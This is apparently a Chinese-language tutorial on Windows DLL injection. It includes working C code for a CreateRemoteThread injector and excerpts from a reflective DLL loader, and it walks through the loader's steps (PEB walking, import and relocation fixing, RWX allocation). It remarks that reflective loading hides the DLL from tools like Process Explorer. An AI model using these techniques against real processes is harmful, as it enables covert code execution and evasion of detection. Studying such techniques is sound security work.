DLL注入方法
程序加载DLL的时机主要有以下3种:
- 在进程创建阶段加载输入表中的DLL,即俗称的静态加载,在C++中可以通过
#pragma comment
实现
- 通过调用
LoadLibrary(Ex)
主动加载,称为动态加载
- 由于系统机制的要求,必须加载系统预设的一些基础服务模块,例如 Shell 拓展模块、网络服务接口模块或输入法模块等
所以,在进行DLL注入时也不外乎这三种方法。
CreateRemoteThread
1
2
3
4
5
6
7
8
9
|
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
|
CreateRemoteThread
能在另一个进程的虚拟内存中创建一个线程。
这类DLL注入通常是向一个特定的进程空间强制插入一个DLL文件映像,注入的对象可以是自身,也可以是远程进程。DLL注入主要分为5个部分:
- 打开进程,获取进程句柄
- 在内存空间开辟一段内存空间
- 向开辟的内存空间写入需要注入的DLL的路径
- 利用
GetProcAddress()
获取LoadLibrary
的地址
- 调用远程线程,利用
LoadLibrary
加载DLL
要实现这些,还需要目标进程的四个权限:
- PROCESS_CREATE_THREAD
- PROCESS_QUERY_INFORMATION
- PROCESS_VM_OPERATION
- PROCESS_VM_WRITE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
int wmain(int argc, char* argv[]) {
DWORD dwProcessId;
scanf_s("Enter Process Id: %d\n", &dwProcessId);
// Calculate the size of DLL path
DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);
// Get the handle of target process
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE,
dwProcessId);
if (hProcess == NULL) {
printf("OpenProcess error, %d\n", GetLastError());
return -1;
}
// Allocate memory in remote process for DLL path
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pszLibFileRemote == NULL) {
printf("VirtualAllocEx error, %d\n", GetLastError());
return -1;
}
// Copy pszLibFile name to remote process memory
DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);
// Get the actual address of LoadLibrary from Kernel32.dll
PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
DWORD dwThreadId = 0;
// Create a remote thread to
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, (LPVOID)pszLibFileRemote, 0, &dwThreadId);
if (hThread == NULL) {
printf("CreateRemote Thread error, %d", GetLastError());
return -1;
}
printf("Thread Id: %d\n", dwThreadId);
// Wait for thread ending
WaitForSingleObject(hThread, INFINITE);
// Release and close memory allocated for DLL path
if (pszLibFileRemote != NULL) {
VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hThread != NULL) {
CloseHandle(hThread);
}
if (hProcess != NULL) {
CloseHandle(hProcess);
}
}
|
RtlCreateUserThread & Nt(Zw)CreateThreadEx
CreateRemoteThread
和RtlCreateUserThread
的作用都是创建远线程,所以具体流程都是一样的。
那么以上三种远线程注入函数注入的区别是:
RtlCreateUserThread
不需要csrss验证登记,需要自己结束;而CreateRemoteThread
不需要自己结束自己
CreateRemoteThread
和RtlCreateUserThread
都调用NtCreateThreadEx
创建线程实体
RtlCreateUserThread
1
2
3
4
5
6
7
8
9
10
11
12
|
RtlCreateUserThread(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);
|
NtCreateThread(Ex)
1
2
3
4
5
6
7
8
9
10
|
NtCreateThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
OUT PCLIENT_ID ClientId,
IN PCONTEXT ThreadContext,
IN PINITIAL_TEB InitialTeb,
IN BOOLEAN CreateSuspended
);
|
反射型DLL注入
反射型DLL注入可以不使用LoadLibrary
将DLL加载到内存中,而是通过先找到DLL中导出函数的地址然后调用该函数实现自我加载。实现该技术的经典项目:https://github.com/stephenfewer/ReflectiveDLLInjection
因为DLL并没有在操作系统中”注册“自己的存在,因此ProcessExplorer等软件也无法检测进程加载了该DLL
首先读取DLL文件到缓冲当中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
BREAK_WITH_ERROR( "Failed to open the DLL file" );
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
|
然后调用LoadRemoteLibraryR
将DLL加载到远程进程(在当前代码中,是自己的进程中),LoadRemoteLibraryR
是核心代码,实现的是将已经放入缓存当中DLL数据进行解析加载
1
2
3
4
5
6
7
8
9
10
|
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
BREAK_WITH_ERROR( "Failed to open the target process" );
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
|
lpBuffer
就是DLL数据,先调用GetReflectiveLoaderOffset
解析PE文件对应的数据结构,然后找到DLL文件导出表中ReflectiveLoader
函数的偏移量。笔者因为对PE文件结构不是很熟悉,不做过多说明。
然后在远程进程中分配一块内存得到基址lpRemoteLibraryBuffer
,然后将lpBuffer(DLL数据)
加载进刚分配的内存当中,ReflectiveLoader
的偏移量加上分配内存基址就可以拿到DLL中ReflectiveLoader
在内存中的地址,所以调用CreateRemoteThread
就可以在远程进程调用ReflectiveLoader
函数,该进程的任务至此已经结束。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
do
{
if( !hProcess || !lpBuffer || !dwLength )
break;
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
} while( 0 );
|
接下来转移视角,搞清楚远程进程的ReflectiveLoader
做了些什么。
通过代码中提前定义好的相应函数地址变量可以发现和之前的注入方法是差不多的,但区别是这些函数不会直接去获得,后面再看。

ReflectiveLoader实现
根据注释里的信息,ReflectiveLoader
实现包含8步:
1
2
3
4
5
6
7
8
|
// STEP 0: calculate our images current base address
// STEP 1: process the kernels exports for the functions our loader needs...
// STEP 2: load our image into a new permanent location in memory...
// STEP 3: load in all of our sections...
// STEP 4: process our images import table...
// STEP 5: process all of our images relocations...
// STEP 6: call our images entry point
// STEP 7: return our new entry point address so whatever called us can call DllMain() if needed.
|
计算PE镜像基址
这里会先调用caller()
函数,返回的是汇编代码中下一条指令的地址(其实就是为了获取当前进的地址),然后进入循环判断uiLibraryAddress
是不是PE的基址,不是则地址减一,也就是一直向后寻找。

从PEB中找到相应函数地址
需要寻找的函数为:
- LoadLibraryA
- GetProcAddress
- VirtualAlloc
- NtFlushInstructoinCache - 用于修复重定向后刷新指令缓存
首先获取PEB基址

拿到PEB基址后再获取PEB_LDR_DATA结构地址,这里会存放一些指向动态链接库(DLL)信息的链表地址,也就是需要寻找的ntdll.dll
和kernel.dll
就在里面。遍历LDR链,计算当前模块的hash值。

如果当前模块为KERNEL32
,则读取模块的函数导出目录信息。

之后再通过hash确定LoadLibraryA / GetProcAddress / VirtualAlloc
三个函数的地址。

NTDLL
模块也是同样的操作,找到NtFlushInstructionCache
地址。


载入镜像到新分配的内存
从 PE 头获取镜像大小,然后分配同等大小的 RWX 权限内存,将 PE 头逐字节复制到新的内存位置。

将所有的节复制到新分配的内存

处理导入表
获取导入表的地址,uiValueC
是导入表第一个模块地址。

然后依次遍历,使用之前获得的LoadLibraryA
函数导入相应模块。

修复导入表中的导入函数地址,如果是通过序号导入则手动解析模块导出函数地址,否则直接使用 GetProcAddress
函数得到地址。

修复重定向
当自己手动将一个PE文件加入到内存时需要修正重定位表,步骤如下:
- 知道要修正定位表的地址
- 计算PE文件默认基址和加载后的基址相差的偏移量
- 将要修正的地址加上这个偏移量


调用DLLMain
从OptionalHeader
中得到DLLMain
地址,在修复过基址之后要调用NtFlushInstructionCache
函数刷新指令缓存,然后执行DLLMain
函数。

运行效果
